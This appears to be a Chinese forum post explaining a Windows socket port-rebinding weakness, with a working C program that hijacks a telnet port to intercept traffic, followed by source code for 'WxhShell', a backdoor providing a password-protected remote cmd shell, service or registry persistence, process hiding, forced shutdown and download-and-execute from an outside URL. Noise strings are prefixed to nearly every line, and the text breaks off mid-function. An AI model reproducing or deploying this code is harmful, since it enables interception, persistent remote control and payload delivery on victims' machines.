在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
( ln s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
=Mu'+,dT *4hOCQ[ saddr.sin_family = AF_INET;
\/'#=q1 X\p`pw$ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
3
!> L? 0(U3~k6 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
t=W$'*P0} Ca5Sc, no 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
}OP%p/eY WrHgF*[ 这意味着什么?意味着可以进行如下的攻击:
[Z5}2gB& 9B#)h)h(= 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
CdzkMVH + 1+A3 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
/[nZ#zj!3 =Qj+Ug' 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Qor{1_h)+9 R(/[NvUb 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
SD|4ybK>d c5iormb"# 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
m.HX2(&\3 qtdxMX]iR 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
J]|6l/i zy5s$f1IA 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
fVA=<: cFI7}#,5 #include
ek(kY6x: #include
:@QK}qFP #include
CFkW@\] #include
fbHWBb DWORD WINAPI ClientThread(LPVOID lpParam);
]U#[\ Z int main()
XMeL^|D {
/]k ,,& WORD wVersionRequested;
zO).<xIq+ DWORD ret;
l?@MUsg+ WSADATA wsaData;
+9 16ZPk BOOL val;
qUEd
E`B SOCKADDR_IN saddr;
"u Of~e" SOCKADDR_IN scaddr;
J I+KS int err;
^:cb
$9F SOCKET s;
<i:*p1#Bm SOCKET sc;
hyk|+z`B int caddsize;
B{OW}D$P# HANDLE mt;
V`R)#G>IH% DWORD tid;
"5o;z@(
wVersionRequested = MAKEWORD( 2, 2 );
<@U. err = WSAStartup( wVersionRequested, &wsaData );
\N`fWh8& if ( err != 0 ) {
MAwC\7n+X printf("error!WSAStartup failed!\n");
(^tr}?C return -1;
>Bh)7>`3c }
]5o0 saddr.sin_family = AF_INET;
_A;vSp.` 8u:v:>D.' //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
n!kk~65| PuCwdTan_ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
u5cVz_S saddr.sin_port = htons(23);
To# E@Nw if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
WIEx
'{ {
(E"&UC[ printf("error!socket failed!\n");
Q*09E return -1;
_XY`UZ }
<K DH val = TRUE;
u_}`y1Xu# //SO_REUSEADDR选项就是可以实现端口重绑定的
S.Wh4kMUe if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
)d770Xg+ {
gtaV6sD printf("error!setsockopt failed!\n");
Qm35{^p+ return -1;
G|QUujl }
#L@} .Giz //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
pW*{Mx //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
1AV1d%F //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
g{g`YvLu^ :"OZc7
~ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
RsqRR`|X? {
!q~X*ZKse ret=GetLastError();
BB2_J=wA printf("error!bind failed!\n");
*1|YLy return -1;
x38SSzG:L }
K;<NBnH listen(s,2);
>u9id>+ while(1)
LPq*ZZK {
?r
-\%_J_( caddsize = sizeof(scaddr);
`DgaO-Dg3 //接受连接请求
#Acon7Rp sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
u#a%( if(sc!=INVALID_SOCKET)
'h!h! {
ULp)T`P mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
bc3|;O if(mt==NULL)
[+hy_Nc$ {
V]l&{hl, printf("Thread Creat Failed!\n");
x !#Ma break;
]k[Q]:q }
Cp .1/ }
YXczyZA`x CloseHandle(mt);
,~?A,9?%: }
J-t=1 closesocket(s);
M(n<Iu4^_ WSACleanup();
fnVW/23 return 0;
$l#v/(uFa }
c&E*KfOG DWORD WINAPI ClientThread(LPVOID lpParam)
bn0"M+7)f {
/#-,R,Q SOCKET ss = (SOCKET)lpParam;
o/tVcv SOCKET sc;
i&A{L}eCr: unsigned char buf[4096];
.+{nA}Bc SOCKADDR_IN saddr;
tj#=%m?8V; long num;
K(-G: | DWORD val;
:[y]p7;{f DWORD ret;
NEqt).
//如果是隐藏端口应用的话,可以在此处加一些判断
Y5nz?a //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
~mN g[] saddr.sin_family = AF_INET;
?ada>"~GR_ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
f|-
m ^/y saddr.sin_port = htons(23);
/HB+ami, if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
(\Rwf}gyR {
R(M}0JRm printf("error!socket failed!\n");
IY];Ss&i return -1;
bin6i2b }
R^jlEt\&P val = 100;
GwgFi@itN if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
AkxH {
#=X)Jx~ ret = GetLastError();
f:_=5e
+ return -1;
#^5a\XJb }
DY)D(f/&3 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
n?y'c^ {
Dl0/-=L ret = GetLastError();
pBlRd{#fL return -1;
(3e;"'k }
5Waw?1GL if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Wr]O {
4a\n4KO X printf("error!socket connect failed!\n");
8# 6\+R closesocket(sc);
^36M0h|R closesocket(ss);
.i
MnWW return -1;
5,F;j<F }
E"Zb};} while(1)
}*?yHJ3 {
^{),+S //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
[yO=S0 e //如果是嗅探内容的话,可以再此处进行内容分析和记录
3CA|5A.Pa //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
p@#]mVJ>9 num = recv(ss,buf,4096,0);
!nec 7 if(num>0)
Z1VC5*K send(sc,buf,num,0);
" <<A else if(num==0)
%GM>u2baw break;
^$e0t;W= num = recv(sc,buf,4096,0);
~RcNZ\2y if(num>0)
VT'0DQ!NIq send(ss,buf,num,0);
q!ee g else if(num==0)
#0}Ok98P break;
lo"j )Zt }
L30>|g closesocket(ss);
2>\b: closesocket(sc);
V@B7P{gH return 0 ;
`Ac:f5a }
7@FDBjq 3}08RU7[! )\8URc|J ==========================================================
yPSVwe|g U$A/bEhw 下边附上一个代码,,WXhSHELL
g+e:@@ug [6O04"6K ==========================================================
DYc.to- Y
[4vRzc #include "stdafx.h"
4S'[\ZJO 64?Pfir6 #include <stdio.h>
B,4q>KQA #include <string.h>
(RExV?: #include <windows.h>
Kl2}o|b #include <winsock2.h>
L{!ihJr #include <winsvc.h>
a[q84[OQ #include <urlmon.h>
D)y{{g*Lnm v}Z9+ yRC2 #pragma comment (lib, "Ws2_32.lib")
_Q>
"\_, #pragma comment (lib, "urlmon.lib")
&j3`
)N GaHA% #define MAX_USER 100 // 最大客户端连接数
Ft3I>=f{ #define BUF_SOCK 200 // sock buffer
y7>iz6N #define KEY_BUFF 255 // 输入 buffer
Sc$gnUYD{ q1H~
|1 #define REBOOT 0 // 重启
9t#P~>:jY} #define SHUTDOWN 1 // 关机
]Qd{ '}+ dl:-k r8 #define DEF_PORT 5000 // 监听端口
UIQQ\,3 ~
W@X- #define REG_LEN 16 // 注册表键长度
HF]EU!OT #define SVC_LEN 80 // NT服务名长度
Ky *DfQA ;8BA~,4l // 从dll定义API
~eHRlXL' typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
e$HQuA~Q; typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
kQy&I3 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
'm[6v} typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
10?qjjb& +yCTH // wxhshell配置信息
mqdOu{kQ struct WSCFG {
>jv\Qh int ws_port; // 监听端口
$.wA?`1aSk char ws_passstr[REG_LEN]; // 口令
p+RAtR f int ws_autoins; // 安装标记, 1=yes 0=no
>'N!dM.+9 char ws_regname[REG_LEN]; // 注册表键名
Z{} n8b* char ws_svcname[REG_LEN]; // 服务名
8qN"3 Et char ws_svcdisp[SVC_LEN]; // 服务显示名
V>B'+b+< char ws_svcdesc[SVC_LEN]; // 服务描述信息
("OAPr\2dw char ws_passmsg[SVC_LEN]; // 密码输入提示信息
vm|!{5l:=y int ws_downexe; // 下载执行标记, 1=yes 0=no
-xz|ayn char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
_r]nJEF5 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
o!=WFAi[pX pL! a };
O"\nR:\ C w%BZ // default Wxhshell configuration
ujx@@N struct WSCFG wscfg={DEF_PORT,
%Z7%jma "xuhuanlingzhe",
xkM] J)C 1,
T(JuL<PB "Wxhshell",
$6#
lTYN~ "Wxhshell",
5Q|sta! "WxhShell Service",
c8<xFvYG "Wrsky Windows CmdShell Service",
*!Y-! "Please Input Your Password: ",
9^au$KoU 1,
+>4^mE" \ "
http://www.wrsky.com/wxhshell.exe",
[]"=]f{1}; "Wxhshell.exe"
)%qtE34` };
~\[?wN l0Y?v 4 // 消息定义模块
9qr UM`z$g char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Z^*NnL.' char *msg_ws_prompt="\n\r? for help\n\r#>";
)yrAov\z* char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
./7v",#*.' char *msg_ws_ext="\n\rExit.";
{c@G$ char *msg_ws_end="\n\rQuit.";
@UO}W_0ZD char *msg_ws_boot="\n\rReboot...";
\-c#jo.$8 char *msg_ws_poff="\n\rShutdown...";
5KJ%]B(H2 char *msg_ws_down="\n\rSave to ";
e=7W7^"_ VRF6g|0; char *msg_ws_err="\n\rErr!";
t7bqk!6hM\ char *msg_ws_ok="\n\rOK!";
` 5#hjLe ~p\n&{P0 char ExeFile[MAX_PATH];
L7}i
q0 int nUser = 0;
;%WdvnW HANDLE handles[MAX_USER];
(i]Z|@|) int OsIsNt;
NF mc>0- p,;mYm s SERVICE_STATUS serviceStatus;
{]`p&@ SERVICE_STATUS_HANDLE hServiceStatusHandle;
f?^S bp f`?0WJ(M // 函数声明
#uKWuGz] int Install(void);
H2U:@.o2& int Uninstall(void);
M&f#wQ int DownloadFile(char *sURL, SOCKET wsh);
RLHYw@-j@ int Boot(int flag);
=!CU $g void HideProc(void);
W$'0Dc int GetOsVer(void);
8+>\3j int Wxhshell(SOCKET wsl);
5ITq?%{M void TalkWithClient(void *cs);
^)0 9OV+hF int CmdShell(SOCKET sock);
SO3cY#i
z" int StartFromService(void);
+xp*]a int StartWxhshell(LPSTR lpCmdLine);
oRq3 pO}f .,M;huRg VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
_*E!gPO VOID WINAPI NTServiceHandler( DWORD fdwControl );
#ib^Kg G6Nb{m // 数据结构和表定义
NAJVr}4f SERVICE_TABLE_ENTRY DispatchTable[] =
)7Ixz1I9g {
W5Zqgsy($F {wscfg.ws_svcname, NTServiceMain},
)xt4Wk/ {NULL, NULL}
-zKxf@" };
=|,A%ZGF$ =cn~BnowY // 自我安装
qfrNi1\9- int Install(void)
^A!$i$NON {
q@ZlJ3%l, char svExeFile[MAX_PATH];
|')-VhLLK HKEY key;
cDeZMsV strcpy(svExeFile,ExeFile);
hcyO97@r S-!=NX&C // 如果是win9x系统,修改注册表设为自启动
"SR5wr if(!OsIsNt) {
[PWL<t::c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
6/1$<!WH RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
V`bs&5#Sx RegCloseKey(key);
ehT%s+aUw if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
7ZsA5%s=, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
-DCa
RegCloseKey(key);
Y(r@v return 0;
n8u*JeN }
$r79n- }
/oL8;:m }
y@;%Uv& else {
O('Nn]wo~9
10O$'` // 如果是NT以上系统,安装为系统服务
9/kXc4 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
;^ 3$kF if (schSCManager!=0)
qyyq& {
Q9sl fQ SC_HANDLE schService = CreateService
g_q<ze (
{Uq:Xw schSCManager,
H;S%Y`V wscfg.ws_svcname,
CW`!}yu% wscfg.ws_svcdisp,
f Iy]/ SERVICE_ALL_ACCESS,
2d`c! SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
@;Y~frT SERVICE_AUTO_START,
_u5dC SERVICE_ERROR_NORMAL,
2f,2rW^i svExeFile,
%Q~CB7ILK NULL,
jO8k6<l NULL,
K)N 0,Qwu NULL,
|[1D$Qv NULL,
@cv{rr NULL
T)SbHp Y );
&&7r+.Y if (schService!=0)
Oy_c {
f*fE}; CloseServiceHandle(schService);
&HDP!SLS CloseServiceHandle(schSCManager);
LchnBtjn strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
&tE.6^F strcat(svExeFile,wscfg.ws_svcname);
/k6fLn2; if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
'jjb[{g^}} RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
$$1qF"GF RegCloseKey(key);
v\%G|8+] return 0;
33a uho
}
L`[z[p{? }
i9m*g*"2 CloseServiceHandle(schSCManager);
b$-e\XB! }
YI@Fhr
&NU }
=SBBvnPLI X?o(
b/F- return 1;
o2uj =Gnx }
DtF}QvA P8I*dvu _ // 自我卸载
ao$.6X8fQ int Uninstall(void)
X_?97iXjx {
c/aup HKEY key;
9[Qd)%MO \#,t O%D if(!OsIsNt) {
0X9Y~TM% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
SEd5)0X^ RegDeleteValue(key,wscfg.ws_regname);
J|~26lG RegCloseKey(key);
L*JPe"N-e if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
xf,5R9g/ RegDeleteValue(key,wscfg.ws_regname);
W?Xiz TW RegCloseKey(key);
G>z,#Xt return 0;
,Em$ !n }
Q@QFV~ }
#T3h}= }
11UB4CA else {
jbte
*Ae n$["z
w SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
+j[oE I`e if (schSCManager!=0)
Z|*!y]We {
Ph,-sR SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
cQUC.TZ_ if (schService!=0)
i7Z=|& {
\2kPq>hu
if(DeleteService(schService)!=0) {
^g>1U5c CloseServiceHandle(schService);
x\@*60o CloseServiceHandle(schSCManager);
z@VP:au return 0;
L,]=vba'$ }
N "Wqy CloseServiceHandle(schService);
Hs(D/&6% }
.v\\Tq&"| CloseServiceHandle(schSCManager);
~;#MpG;e }
"!UVs+)] }
Es'Um,ku XFqJ 'R return 1;
=A!S/;z> }
[aqu}Su ,/,9j{|"j // 从指定url下载文件
:Vuf6, int DownloadFile(char *sURL, SOCKET wsh)
O'DW5hBL0 {
lU2c_4 HRESULT hr;
7;}l\VXHm char seps[]= "/";
o>lmst%< char *token;
yTBS=+X char *file;
;LwqTlJ*[L char myURL[MAX_PATH];
Tpr tE.mP char myFILE[MAX_PATH];
d"Q |I xN"Z1n7t strcpy(myURL,sURL);
r':TMhzHq? token=strtok(myURL,seps);
SUtf[6 while(token!=NULL)
/Cr/RG:OX {
b.yh8|& file=token;
0GXO&rCG token=strtok(NULL,seps);
T-" I9kM }
"ZMkL)'7- ]MTbW=*}ED GetCurrentDirectory(MAX_PATH,myFILE);
q/&y*)&'O strcat(myFILE, "\\");
8im@4A+n` strcat(myFILE, file);
/VTM 9)u send(wsh,myFILE,strlen(myFILE),0);
USPTpjt8R send(wsh,"...",3,0);
ANMg hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
~H /2R if(hr==S_OK)
+M\8>/0oA return 0;
k9si|' else
%y`7);.q return 1;
yy2I2Bv cu7(. }
=y]$0nh &%C4Ugo // 系统电源模块
!K0JV|-?t int Boot(int flag)
<vc`^Q&4B {
3I=kr HANDLE hToken;
XhW %,/< TOKEN_PRIVILEGES tkp;
M8;lLcgu. eE8ULtO if(OsIsNt) {
uGJ"!K OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
sd0r'jb LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
_YHu96H; tkp.PrivilegeCount = 1;
@,H9zrjVFZ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
u5E]t9~Pq AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Rm>^tu
- if(flag==REBOOT) {
E;(Rm>lB if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
&Ral+J return 0;
;?L\Fz(< }
Tupiq else {
/2uQCw&x- if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
+Ov2`O8? return 0;
>yK0iK{ }
)@g;j> }
zY9H% else {
0Bolv_e if(flag==REBOOT) {
XSRdqU>Aun if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
2%UBwSiqR return 0;
i u]&; }
/!xF?OmVd else {
6vy7l(% if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
z01>' return 0;
(!K_Fy@ }
Oe]&( }
I4_d[O9 pw020}` return 1;
i^"+5Eq[D }
U9d:@9Y }ZOFYu0f // win9x进程隐藏模块
@ GDX7TPV void HideProc(void)
QB{rVI>mI! {
=_TaA(79 %1U`@0 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
9}tG\0tL* if ( hKernel != NULL )
h8 @ {
Sr.;GS5i pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
kJK,6mN ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
2 YxT MT FreeLibrary(hKernel);
rjWLMbd.< }
y9HK | 34AP(3w return;
CQg X=!q }
wzWbB2Mb5 {U!uVQC' // 获取操作系统版本
R4's7k int GetOsVer(void)
4rNL":"O {
3/6/G}s OSVERSIONINFO winfo;
ZU2laqa_ winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
A2H4k|8 GetVersionEx(&winfo);
g[z.*y/ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
-7]Xjb5 return 1;
)9nElb2 else
~%y @Xsot> return 0;
- M5=r>1; }
>H|` y@] 9ptFG]lZ // 客户端句柄模块
'_0]vupvY int Wxhshell(SOCKET wsl)
?(zoTxD {
QDmYSY$ SOCKET wsh;
#=e;?w struct sockaddr_in client;
JqU ADm DWORD myID;
=([av7 =H5\$&xj4. while(nUser<MAX_USER)
alFjc.~} {
9l/EjF^ int nSize=sizeof(client);
gQWd&)'muf wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
D%/8{b: if(wsh==INVALID_SOCKET) return 1;
+SXIZ` \>/M .2 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
HRa@ if(handles[nUser]==0)
rp34?/Nz closesocket(wsh);
&lc8G else
Z+:D)L nUser++;
[Gr*,nVvB }
y6HuN WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Bstk{&ew w5C*L)l return 0;
BNGe
exs@ }
WgR4Ix^L# *<V^2z$y_ // 关闭 socket
3yS void CloseIt(SOCKET wsh)
ni CE\B~ {
4g
_"ku closesocket(wsh);
``Q2P% nUser--;
7YIK9edP ExitThread(0);
D@YP7 }
p#8W#t$ {==pZpyyh // 客户端请求句柄
vlWw3>4 void TalkWithClient(void *cs)
fp>.Owt%. {
B)SLG]72f vFmJ;J SOCKET wsh=(SOCKET)cs;
vxlOh.a|/L char pwd[SVC_LEN];
TJ@Cj y% char cmd[KEY_BUFF];
-C7 FuD[Xw char chr[1];
0(>rG{u int i,j;
ph:3|d w2gf&Lc\ while (nUser < MAX_USER) {
[pOg' h+7># *DH if(wscfg.ws_passstr) {
XFZ~ #DT& if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
}2>"<) //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
qB6dFl\ ( //ZeroMemory(pwd,KEY_BUFF);
:Waox"#=g i=0;
v@
C,RP9 while(i<SVC_LEN) {
]n1dp2aH L-i>R:N4 // 设置超时
f?fKhu2 fd_set FdRead;
>%b\yl%0 struct timeval TimeOut;
SqPtWEq@P FD_ZERO(&FdRead);
Sq]pQ8 FD_SET(wsh,&FdRead);
jB$SUO`* TimeOut.tv_sec=8;
`\$8`Zb; TimeOut.tv_usec=0;
pNaiXu3 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Y0uvT7+[hi if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
`vk0c 7G2PMe;$m if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
3SG?W_
pwd
=chr[0]; *U7%|wd
if(chr[0]==0xd || chr[0]==0xa) { $+=
<(*
pwd=0; T8J4C=?/
break; haSM=;uPM
} Z)<
wv&K
i++; Q%ad q-B
} n[+'OU[
$ACx*e%
// 如果是非法用户,关闭 socket "l~Ci7& !a
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |cbd6e{!
} ,32xcj}j)r
U\<-mXv
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T3J'fjY
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C9tb \?#
@|-OJ4[5
while(1) { SOh-,c\C
E$\~lcq
ZeroMemory(cmd,KEY_BUFF); 8^ep/ b&|
lvSdY(8
// 自动支持客户端 telnet标准 *MM#Z?mP
j=0; :>
-1'HC
while(j<KEY_BUFF) { nL`9l1
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I`B'1"{
cmd[j]=chr[0]; 0~A#>R'
if(chr[0]==0xa || chr[0]==0xd) { eb:A1f4L
cmd[j]=0; <>&=n+i
break; {eZ{]
} L&2u[ml
j++; fjz) Gp
} <lwuTow
GuQRn
// 下载文件 %uDG75KP{
if(strstr(cmd,"http://")) { Gm8E<iTP
send(wsh,msg_ws_down,strlen(msg_ws_down),0); pK_?}~
if(DownloadFile(cmd,wsh)) TR vZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); cgZaPw2
bw
else D@54QJ<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); J\co1kO9/
} n@>wwp
else { $^% N U
-E>)j\{PX7
switch(cmd[0]) { A*]$v
8v_C5d\
// 帮助 o
\L!(hm
case '?': { wrv5V M}
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W:s@L#-
break; **;p(CI
} Y*YFB|f?
// 安装 eD#XDK
case 'i': { [I+9dSM1t
if(Install()) cnNOZ$)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v"lf-c
else gT52G?-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4YA./j%'
break; ur%$aX)
} H[&@}v,L
// 卸载 >IvBUM[Rt
case 'r': { 'imU`zeo
if(Uninstall()) p]|LV)R n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *o?i:LE]
else Fz"ff4Bx [
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); pa/9F[
break; #gZ|T
M/h
} ~9M!)\~
// 显示 wxhshell 所在路径 ;IP~Tb]&
case 'p': { [~%`N*G
char svExeFile[MAX_PATH]; &w\I<J`T
strcpy(svExeFile,"\n\r"); yXfMzG
strcat(svExeFile,ExeFile);
P'[<AZ
send(wsh,svExeFile,strlen(svExeFile),0); m#@_8_ M
break; H#(<-)j0_
} "ED8z|]j
// 重启 :{}_|]>K
case 'b': { .KA V) So"
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);
M[P^]J@
if(Boot(REBOOT)) '1+.t$"/tU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); {w5Z7s0
else { l gq=GHW
closesocket(wsh); p8>%Mflf
ExitThread(0); &r_uQbx
} TUTe9;)
break; KCqqJ}G
} )2j:z#'>
// 关机 bKz{wm%
case 'd': { 3VO:+mT
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \HSicV#i
if(Boot(SHUTDOWN)) ?Myh7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O.\h'3C
else { 7sV/_3H+
closesocket(wsh); 3oBC
ExitThread(0); (F5ttQPh
} 78Y@OL_$
break; h8v>zNf'
} rG6\ynBX%
// 获取shell X0i3 _RVa
case 's': { h}Ygb-uZ
CmdShell(wsh); mnQ'X-q3iO
closesocket(wsh); 4F#%f#"
ExitThread(0); R}%8s*
break; :t$A8+A+0
} {8CWWfHCD
// 退出 &=w|vB)(p
case 'x': { z^`]7i
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); avNLV
CloseIt(wsh); PdE>@0X?M
break; 7'j9rmTXs
} Mtp%co )f
// 离开 esq<xuZM4
case 'q': { 6Z c)0I'
send(wsh,msg_ws_end,strlen(msg_ws_end),0); lo:~aJ8
closesocket(wsh); Q"}s>]k3_
WSACleanup(); L3c*LL
exit(1); 19I:%$U3
break; ^Q2ZqAf^a
} -u6#-}S
} /bcY6b=:
} eE3-t/=
/$`;r2LG
// 提示信息 h}6_ybmZ
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tgN92Q.i6T
} "iek,Y}j7
} Z3;=w%W
Y mDn+VIg
return; h6QWH
} Vyt
E
]P3[.$z
// shell模块句柄 P\(30
int CmdShell(SOCKET sock) [x_s/"Md;
{ rm|7
[mK
STARTUPINFO si; %V_eJC""?
ZeroMemory(&si,sizeof(si)); mw+j|{[
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h$&rE@N|
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0xP:9rm
PROCESS_INFORMATION ProcessInfo; {hd-w4"115
char cmdline[]="cmd"; OmNn,PCl8
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #"r kuDO
return 0; I~RcOiL)
} Phlk1*1n
\(u@F<s-
// 自身启动模式 WOb8"*OM
int StartFromService(void) # #>a&,
{ :~-i&KNk
typedef struct Xw(3j)xQ
{ 2f{kBD
DWORD ExitStatus; AU`OESSI
DWORD PebBaseAddress; <.$,`m,
DWORD AffinityMask; ;,`]O!G:P
DWORD BasePriority; s`vSt*
]K
